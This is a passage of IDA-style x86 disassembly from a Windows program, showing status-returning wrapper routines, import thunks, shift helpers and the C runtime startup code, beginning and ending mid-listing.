		cmp	ds:dword_43BD34, 0
		jz	short loc_4311A2
		mov	edx, [ebp+var_10]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_20]
		push	eax
		call	sub_43161E
		add	esp, 4
		xor	eax, eax
		jmp	short loc_4311CA
; ---------------------------------------------------------------------------


loc_4311A2:				; CODE XREF: sub_43110B+7Fj
		push	8
		call	sub_431624
		add	esp, 4
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+var_24]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_14]
		mov	dword ptr [edx], 1
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_10]
		mov	[eax+4], ecx
		mov	eax, [ebp+var_14]


loc_4311CA:				; CODE XREF: sub_43110B+95j
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_43110B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4311D8	proc near		; CODE XREF: sub_4249D2+37p
					; sub_4249D2+52p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	[ebp+arg_0], 0
		jnz	short loc_4311F5
		mov	ds:dword_43BD34, 10000h
		mov	eax, 10000h
		jmp	short loc_431237
; ---------------------------------------------------------------------------


loc_4311F5:				; CODE XREF: sub_4311D8+Aj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx], 1
		jz	short loc_431214
		mov	ds:dword_43BD34, 80000h
		mov	eax, 80000h
		jmp	short loc_431237
; ---------------------------------------------------------------------------


loc_431214:				; CODE XREF: sub_4311D8+29j
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	ecx, [ebp+var_4]
		call	sub_43007C
		mov	ds:dword_43BD34, eax
		mov	eax, ds:dword_43BD34


loc_431237:				; CODE XREF: sub_4311D8+1Bj
					; sub_4311D8+3Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_4311D8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_43125E
		mov	ds:dword_43BD34, 10000h
		mov	eax, 10000h
		jmp	loc_431340
; ---------------------------------------------------------------------------


loc_43125E:				; CODE XREF: HLXc:00431248j
		mov	eax, [ebp+8]
		mov	[ebp-134h], eax
		mov	ecx, [ebp-134h]
		cmp	dword ptr [ecx], 1
		jz	short loc_431286
		mov	ds:dword_43BD34, 80000h
		mov	eax, 80000h
		jmp	loc_431340
; ---------------------------------------------------------------------------


loc_431286:				; CODE XREF: HLXc:00431270j
		mov	edx, [ebp-134h]
		mov	eax, [edx+4]
		mov	[ebp-4], eax
		lea	ecx, [ebp-130h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	ecx, [ebp-4]
		call	sub_43007C
		mov	ds:dword_43BD34, eax
		cmp	ds:dword_43BD34, 0
		jnz	loc_43133B
		mov	eax, [ebp+10h]
		mov	ecx, [ebp-130h]
		mov	[eax], ecx
		mov	edx, [ebp+10h]
		mov	eax, [ebp-28h]
		mov	[edx+108h], eax
		mov	ecx, [ebp+10h]
		mov	edx, [ebp-24h]
		mov	[ecx+10Ch], edx
		mov	eax, [ebp-20h]
		mov	[ecx+110h], eax
		mov	ecx, [ebp+10h]
		mov	edx, [ebp-1Ch]
		mov	[ecx+114h], edx
		mov	eax, [ebp-18h]
		mov	[ecx+118h], eax
		mov	ecx, [ebp+10h]
		mov	edx, [ebp-14h]
		mov	[ecx+11Ch], edx
		mov	eax, [ebp-10h]
		mov	[ecx+120h], eax
		mov	ecx, [ebp+10h]
		mov	edx, [ebp-0Ch]
		mov	[ecx+124h], edx
		mov	eax, [ebp+10h]
		mov	ecx, [ebp-8]
		mov	[eax+128h], ecx
		lea	edx, [ebp-12Ch]
		push	edx
		mov	eax, [ebp+10h]
		add	eax, 4
		push	eax
		call	sub_431758	; strcpy
		add	esp, 8


loc_43133B:				; CODE XREF: HLXc:004312B1j
		mov	eax, ds:dword_43BD34


loc_431340:				; CODE XREF: HLXc:00431259j
					; HLXc:00431281j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_431361
		mov	ds:dword_43BD34, 10000h
		mov	eax, 10000h
		jmp	short loc_4313AB
; ---------------------------------------------------------------------------


loc_431361:				; CODE XREF: HLXc:0043134Ej
		mov	eax, [ebp+8]
		mov	[ebp-8], eax
		mov	ecx, [ebp-8]
		cmp	dword ptr [ecx], 1
		jz	short loc_431380
		mov	ds:dword_43BD34, 80000h
		mov	eax, 80000h
		jmp	short loc_4313AB
; ---------------------------------------------------------------------------


loc_431380:				; CODE XREF: HLXc:0043136Dj
		mov	edx, [ebp-8]
		mov	eax, [edx+4]
		mov	[ebp-4], eax
		mov	ecx, [ebp+18h]
		push	ecx
		mov	edx, [ebp+14h]
		push	edx
		mov	al, [ebp+10h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	ecx, [ebp-4]
		call	sub_430707
		mov	ds:dword_43BD34, eax
		mov	eax, ds:dword_43BD34


loc_4313AB:				; CODE XREF: HLXc:0043135Fj
					; HLXc:0043137Ej
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_4313D2
		mov	ds:dword_43BD34, 10000h
		mov	eax, 10000h
		jmp	loc_4314BC
; ---------------------------------------------------------------------------


loc_4313D2:				; CODE XREF: HLXc:004313BCj
		mov	eax, [ebp+8]
		mov	[ebp-134h], eax
		mov	ecx, [ebp-134h]
		cmp	dword ptr [ecx], 1
		jz	short loc_4313FA
		mov	ds:dword_43BD34, 80000h
		mov	eax, 80000h
		jmp	loc_4314BC
; ---------------------------------------------------------------------------


loc_4313FA:				; CODE XREF: HLXc:004313E4j
		mov	edx, [ebp-134h]
		mov	eax, [edx+4]
		mov	[ebp-4], eax
		lea	ecx, [ebp-130h]
		push	ecx
		mov	edx, [ebp+14h]
		push	edx
		mov	al, [ebp+10h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	ecx, [ebp-4]
		call	sub_430707
		mov	ds:dword_43BD34, eax
		cmp	ds:dword_43BD34, 0
		jnz	loc_4314B7
		mov	edx, [ebp+18h]
		mov	eax, [ebp-130h]
		mov	[edx], eax
		mov	ecx, [ebp+18h]
		mov	edx, [ebp-28h]
		mov	[ecx+108h], edx
		mov	eax, [ebp+18h]
		mov	ecx, [ebp-24h]
		mov	[eax+10Ch], ecx
		mov	edx, [ebp-20h]
		mov	[eax+110h], edx
		mov	eax, [ebp+18h]
		mov	ecx, [ebp-1Ch]
		mov	[eax+114h], ecx
		mov	edx, [ebp-18h]
		mov	[eax+118h], edx
		mov	eax, [ebp+18h]
		mov	ecx, [ebp-14h]
		mov	[eax+11Ch], ecx
		mov	edx, [ebp-10h]
		mov	[eax+120h], edx
		mov	eax, [ebp+18h]
		mov	ecx, [ebp-0Ch]
		mov	[eax+124h], ecx
		mov	edx, [ebp+18h]
		mov	eax, [ebp-8]
		mov	[edx+128h], eax
		lea	ecx, [ebp-12Ch]
		push	ecx
		mov	edx, [ebp+18h]
		add	edx, 4
		push	edx
		call	sub_431758	; strcpy
		add	esp, 8


loc_4314B7:				; CODE XREF: HLXc:0043142Dj
		mov	eax, ds:dword_43BD34


loc_4314BC:				; CODE XREF: HLXc:004313CDj
					; HLXc:004313F5j
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4314C0	proc near		; CODE XREF: sub_4249D2+64p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	[ebp+arg_0], 0
		jnz	short loc_4314DD
		mov	ds:dword_43BD34, 10000h
		mov	eax, 10000h
		jmp	short loc_431527
; ---------------------------------------------------------------------------


loc_4314DD:				; CODE XREF: sub_4314C0+Aj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx], 1
		jz	short loc_4314FC
		mov	ds:dword_43BD34, 80000h
		mov	eax, 80000h
		jmp	short loc_431527
; ---------------------------------------------------------------------------


loc_4314FC:				; CODE XREF: sub_4314C0+29j
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	ecx, [ebp+var_4]
		call	sub_4308E2
		mov	ds:dword_43BD34, eax
		mov	eax, ds:dword_43BD34


loc_431527:				; CODE XREF: sub_4314C0+1Bj
					; sub_4314C0+3Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_4314C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43152B	proc near		; CODE XREF: sub_4249D2+72p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_0], 0
		jnz	short loc_431548
		mov	ds:dword_43BD34, 10000h
		mov	eax, 10000h
		jmp	short loc_4315A6
; ---------------------------------------------------------------------------


loc_431548:				; CODE XREF: sub_43152B+Aj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx], 1
		jz	short loc_431567
		mov	ds:dword_43BD34, 80000h
		mov	eax, 80000h
		jmp	short loc_4315A6
; ---------------------------------------------------------------------------


loc_431567:				; CODE XREF: sub_43152B+29j
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		call	sub_430DF8
		mov	ds:dword_43BD34, eax
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_43161E
		add	esp, 4
		mov	eax, [ebp+var_8]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_43161E
		add	esp, 4
		mov	eax, ds:dword_43BD34


loc_4315A6:				; CODE XREF: sub_43152B+1Bj
					; sub_43152B+3Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_43152B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_4315B8
		mov	al, 1
		jmp	short loc_4315C9
; ---------------------------------------------------------------------------


loc_4315B8:				; CODE XREF: HLXc:004315B2j
		mov	eax, [ebp+8]
		mov	[ebp-4], eax
		mov	ecx, [ebp-4]
		xor	eax, eax
		cmp	dword ptr [ecx], 1
		setz	al


loc_4315C9:				; CODE XREF: HLXc:004315B6j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4315D0	proc near		; CODE XREF: sub_4308E2+339p
					; sub_4308E2+355p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_433214	; _mbsstr
		add	esp, 8
		pop	ebp
		retn
sub_4315D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4315F0	proc near		; CODE XREF: sub_43110B+3Bp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0FFFFFFFFh
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+134h], 0FFFFFFFFh
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4315F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43161E	proc near		; CODE XREF: sub_4210DD+16p
					; sub_4219B0+1Dp ...
		jmp	dword_433104
sub_43161E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431624	proc near		; CODE XREF: sub_42103D+1Dp
					; sub_4240F6+10p ...
		jmp	dword_433138
sub_431624	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43162A	proc near		; CODE XREF: sub_421ACF+99p
					; sub_422C48+80p ...
		jmp	dword_433134
sub_43162A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431630	proc near		; CODE XREF: sub_421C92+CCp
		jmp	dword_433130
sub_431630	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431636	proc near		; CODE XREF: HLXc:00422644p
					; sub_422A1E+15Cp ...
		jmp	dword_43312C
sub_431636	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43163C	proc near		; CODE XREF: HLXc:00422638p
					; sub_422A1E+C3p ...
		jmp	dword_433128
sub_43163C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431642	proc near		; CODE XREF: HLXc:0042261Cp
					; HLXc:00422659p ...
		jmp	dword_433124
sub_431642	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431648	proc near		; CODE XREF: HLXc:00422610p
					; sub_422A1E+141p ...
		jmp	dword_433120
sub_431648	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43164E	proc near		; CODE XREF: HLXc:0042253Ap
					; sub_422A1E+18p ...
		jmp	dword_43311C
sub_43164E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431654	proc near		; CODE XREF: sub_422A1E+129p
					; sub_4252F7+114p ...
		jmp	dword_433118
sub_431654	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43165A	proc near		; CODE XREF: sub_4245AA+16Cp
					; sub_4245AA+292p ...
		jmp	dword_433114
sub_43165A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431660	proc near		; CODE XREF: sub_426584+7Fp
					; sub_42692B+A9p ...
		jmp	dword_433110
sub_431660	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431666	proc near		; CODE XREF: sub_426584+72p
					; sub_426584+CBp ...
		jmp	dword_43310C
sub_431666	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43166C	proc near		; CODE XREF: sub_424AE5+4A3p
					; sub_424AE5+5CBp
		jmp	dword_433108
sub_43166C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431672	proc near		; CODE XREF: sub_424AE5+424p
					; sub_424AE5+552p
		jmp	dword_433100
sub_431672	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431678	proc near		; CODE XREF: sub_4252F7+43p
					; sub_4252F7+54p ...
		jmp	dword_4330FC
sub_431678	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43167E	proc near		; CODE XREF: sub_425FC6+130p
					; sub_42852F+27Cp
		jmp	dword_4330F8
sub_43167E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431684	proc near		; CODE XREF: sub_425FC6+CCp
					; sub_425FC6+150p ...
		jmp	dword_4330F4
sub_431684	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43168A	proc near		; CODE XREF: sub_426584+DAp
					; sub_42692B+104p ...
		jmp	dword_4330F0
sub_43168A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431690	proc near		; CODE XREF: sub_426584+B7p
					; sub_426584+122p ...
		jmp	dword_4330EC
sub_431690	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431696	proc near		; CODE XREF: sub_426584+68p
					; sub_426584+112p ...
		jmp	dword_4330E8
sub_431696	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43169C	proc near		; CODE XREF: SEH_421109+5j
					; sub_431C1A+5j ...
		jmp	dword_4331D8
sub_43169C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4316B0	proc near		; CODE XREF: sub_421109+7Cp
		cmp	cl, 40h
		jnb	short loc_4316CA
		cmp	cl, 20h
		jnb	short loc_4316C0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_4316C0:				; CODE XREF: sub_4316B0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_4316CA:				; CODE XREF: sub_4316B0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_4316B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4316CF	proc near		; DATA XREF: HLXc:off_434AE4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_431918
		test	[esp+4+arg_0], 1
		jz	short loc_4316E5
		push	esi
		call	sub_43161E
		pop	ecx


loc_4316E5:				; CODE XREF: sub_4316CF+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4316CF	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4316EC	proc near		; CODE XREF: HLXc:00421217p
					; HLXc:004212F2p ...
		jmp	dword_4331DC
sub_4316EC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_431700	proc near		; CODE XREF: HLXc:00421299p
					; sub_42146A+1Ep ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_431720


loc_43170C:				; CODE XREF: sub_431700+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_43170C


loc_431720:				; CODE XREF: sub_431700+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_431700	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_431730	proc near		; CODE XREF: HLXc:0042174Bp
		cmp	cl, 40h
		jnb	short loc_43174B
		cmp	cl, 20h
		jnb	short loc_431740
		shrd	eax, edx, cl
		sar	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_431740:				; CODE XREF: sub_431730+8j
		mov	eax, edx
		sar	edx, 1Fh
		and	cl, 1Fh
		sar	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_43174B:				; CODE XREF: sub_431730+3j
		sar	edx, 1Fh
		mov	eax, edx
		retn
sub_431730	endp

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431752	proc near		; CODE XREF: sub_421ACF+29p
					; HLXc:00421C2Fp ...
		jmp	dword_4331E4
sub_431752	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431758	proc near		; CODE XREF: sub_422296+B1p
					; sub_422296+FAp ...
		jmp	dword_4331FC
sub_431758	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43175E	proc near		; CODE XREF: sub_422296+5Ap
					; sub_42239F+Bp ...
		jmp	dword_4331F8
sub_43175E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431764	proc near		; CODE XREF: sub_4227A4+1E8p
					; sub_429F50+CAp ...
		jmp	dword_4331C0
sub_431764	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43176A	proc near		; CODE XREF: sub_422A1E+5p
					; sub_422BB1+5p ...
		jmp	dword_4331BC
sub_43176A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431770	proc near		; CODE XREF: sub_422F54+E8p
					; sub_42309C+125p ...
		jmp	dword_4331B8
sub_431770	endp


; =============== S U B	R O U T	I N E =======================================



sub_431776	proc near		; CODE XREF: sub_4317A2+4p

arg_0		= dword	ptr  4

		cmp	ds:dword_43BD70, 0FFFFFFFFh
		jnz	short loc_43178B
		push	[esp+arg_0]
		call	dword_433220	; _onexit
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43178B:				; CODE XREF: sub_431776+7j
		push	offset dword_43BD6C
		push	offset dword_43BD70
		push	[esp+8+arg_0]
		call	sub_43191E	; __dllonexit
		add	esp, 0Ch
		retn
sub_431776	endp


; =============== S U B	R O U T	I N E =======================================



sub_4317A2	proc near		; CODE XREF: sub_42850E+8p
					; sub_4319C1+21p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_431776
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_4317A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4317B4	proc near		; CODE XREF: sub_42EA04+11p
					; sub_43007C+4B8p
		jmp	dword_43320C
sub_4317B4	endp

; ---------------------------------------------------------------------------


loc_4317BA:				; CODE XREF: HLXc:0043E644j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_434AE8
		push	offset sub_431946
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	2
		call	dword_43324C	; __set_app_type
		pop	ecx
		or	ds:dword_43BD6C, 0FFFFFFFFh
		or	ds:dword_43BD70, 0FFFFFFFFh
		call	dword_433248	; __p__fmode
		mov	ecx, ds:dword_43BD54
		mov	[eax], ecx
		call	dword_433244	; __p__commode
		mov	ecx, ds:dword_43BD50
		mov	[eax], ecx
		mov	eax, dword_433240
		mov	eax, [eax]
		mov	ds:dword_43BD68, eax
		call	nullsub_1
		cmp	ds:dword_437C30, ebx
		jnz	short loc_43183D
		push	offset sub_431942
		call	dword_43323C	; __setusermatherr
		pop	ecx


loc_43183D:				; CODE XREF: HLXc:0043182Fj
		call	sub_431930
		push	offset dword_437014
		push	offset dword_437010
		call	sub_43192A	; _initterm
		mov	eax, ds:dword_43BD4C
		mov	[ebp-6Ch], eax
		lea	eax, [ebp-6Ch]
		push	eax
		push	ds:dword_43BD48
		lea	eax, [ebp-64h]
		push	eax
		lea	eax, [ebp-70h]
		push	eax
		lea	eax, [ebp-60h]
		push	eax
		call	dword_433230	; __getmainargs
		push	offset dword_43700C
		push	offset dword_437000
		call	sub_43192A	; _initterm
		add	esp, 24h
		mov	eax, dword_433234
		mov	esi, [eax]
		mov	[ebp-74h], esi
		cmp	byte ptr [esi],	22h
		jnz	short loc_4318D0


loc_431896:				; CODE XREF: HLXc:004318A2j
		inc	esi
		mov	[ebp-74h], esi
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_4318A4
		cmp	al, 22h
		jnz	short loc_431896


loc_4318A4:				; CODE XREF: HLXc:0043189Ej
		cmp	byte ptr [esi],	22h
		jnz	short loc_4318AD


loc_4318A9:				; CODE XREF: HLXc:004318B5j
		inc	esi
		mov	[ebp-74h], esi


loc_4318AD:				; CODE XREF: HLXc:004318A7j
					; HLXc:004318D3j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_4318B7
		cmp	al, 20h
		jbe	short loc_4318A9


loc_4318B7:				; CODE XREF: HLXc:004318B1j
		mov	[ebp-30h], ebx
		lea	eax, [ebp-5Ch]
		push	eax
		call	dword_433088	; GetStartupInfoA
		test	byte ptr [ebp-30h], 1
		jz	short loc_4318DB
		movzx	eax, word ptr [ebp-2Ch]
		jmp	short loc_4318DE
; ---------------------------------------------------------------------------


loc_4318D0:				; CODE XREF: HLXc:00431894j
					; HLXc:004318D9j
		cmp	byte ptr [esi],	20h
		jbe	short loc_4318AD
		inc	esi
		mov	[ebp-74h], esi
		jmp	short loc_4318D0
; ---------------------------------------------------------------------------


loc_4318DB:				; CODE XREF: HLXc:004318C8j
		push	0Ah
		pop	eax


loc_4318DE:				; CODE XREF: HLXc:004318CEj
		push	eax
		push	esi
		push	ebx
		push	ebx
		call	dword_43308C	; GetModuleHandleA
		push	eax
		call	sub_4296C8
		mov	[ebp-68h], eax
		push	eax
		call	dword_43322C	; exit
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-78h], ecx
		push	eax
		push	ecx
		call	sub_431924	; _XcptFilter
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-78h]
		call	dword_433224	; _exit

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431918	proc near		; CODE XREF: sub_4316CF+3p
		jmp	dword_433218
sub_431918	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43191E	proc near		; CODE XREF: sub_431776+23p
		jmp	dword_43321C
sub_43191E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431924	proc near		; CODE XREF: HLXc:00431904p
		jmp	dword_433228
sub_431924	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43192A	proc near		; CODE XREF: HLXc:0043184Cp
					; HLXc:0043187Fp
		jmp	dword_433238
sub_43192A	endp


; =============== S U B	R O U T	I N E =======================================



sub_431930	proc near		; CODE XREF: HLXc:loc_43183Dp
		push	30000h
		push	10000h
		call	sub_43194C	; _controlfp
		pop	ecx
		pop	ecx
		retn
sub_431930	endp


; =============== S U B	R O U T	I N E =======================================



sub_431942	proc near		; DATA XREF: HLXc:00431831o
		xor	eax, eax
		retn
sub_431942	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431946	proc near		; DATA XREF: HLXc:004317C4o
		jmp	dword_433250
sub_431946	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43194C	proc near		; CODE XREF: sub_431930+Ap
		jmp	dword_433258
sub_43194C	endp


; =============== S U B	R O U T	I N E =======================================



sub_431952	proc near		; CODE XREF: sub_42342D+4Bp
					; sub_42342D+A4p ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_431B44
		retn	4
sub_431952	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431960	proc near		; CODE XREF: sub_4242B2+20p
					; sub_42438B+20p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		and	[ebp+var_4], 0
		test	eax, eax
		jz	short loc_4319B2
		mov	ecx, [eax]
		lea	edx, [ebp+arg_4]
		push	edx
		push	offset dword_437C38
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_4319B2
		mov	eax, [ebp+arg_4]
		push	esi
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]
		test	esi, esi
		pop	esi
		jnz	short loc_4319B2
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		call	dword_43327C
		test	eax, eax
		jz	short loc_4319B2
		and	[ebp+var_4], 0


loc_4319B2:				; CODE XREF: sub_431960+Dj
					; sub_431960+1Fj ...
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_431B44
		leave
		retn	0Ch
sub_431960	endp


; =============== S U B	R O U T	I N E =======================================



sub_4319C1	proc near		; DATA XREF: HLXc:00437008o

; FUNCTION CHUNK AT 004319DD SIZE 0000000C BYTES

		call	sub_4319CB
		jmp	loc_4319DD
sub_4319C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4319CB	proc near		; CODE XREF: sub_4319C1p
		push	0Ah
		push	80020004h
		mov	ecx, offset dword_43BD58
		call	sub_431AE8
		retn
sub_4319CB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4319C1


loc_4319DD:				; CODE XREF: sub_4319C1+5j
		push	offset sub_4319E9
		call	sub_4317A2
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_4319C1

; =============== S U B	R O U T	I N E =======================================



sub_4319E9	proc near		; DATA XREF: sub_4319C1:loc_4319DDo
		push	offset dword_43BD58
		call	dword_433264
		test	eax, eax
		jge	short locret_4319FE
		push	eax
		call	sub_431952

locret_4319FE:				; CODE XREF: sub_4319E9+Dj
		retn
sub_4319E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4319FF	proc near		; CODE XREF: sub_424188+12p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		push	esi
		push	edi
		jnz	short loc_431A0E
		xor	eax, eax
